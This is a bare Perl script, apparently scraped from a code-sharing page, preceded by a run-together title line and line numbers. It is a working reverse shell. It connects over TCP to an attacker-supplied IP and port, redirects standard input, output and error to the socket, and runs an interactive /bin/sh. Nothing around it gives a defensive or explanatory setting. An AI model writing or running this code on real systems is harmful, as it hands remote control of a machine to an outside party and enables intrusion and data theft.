usr bin perl -w use Socket ARGV ARGV socket PF_INET SOCK_STREAM getpro

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/usr/bin/perl -w
use Socket;
$i=$ARGV[0];
$p=$ARGV[1];
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i"); }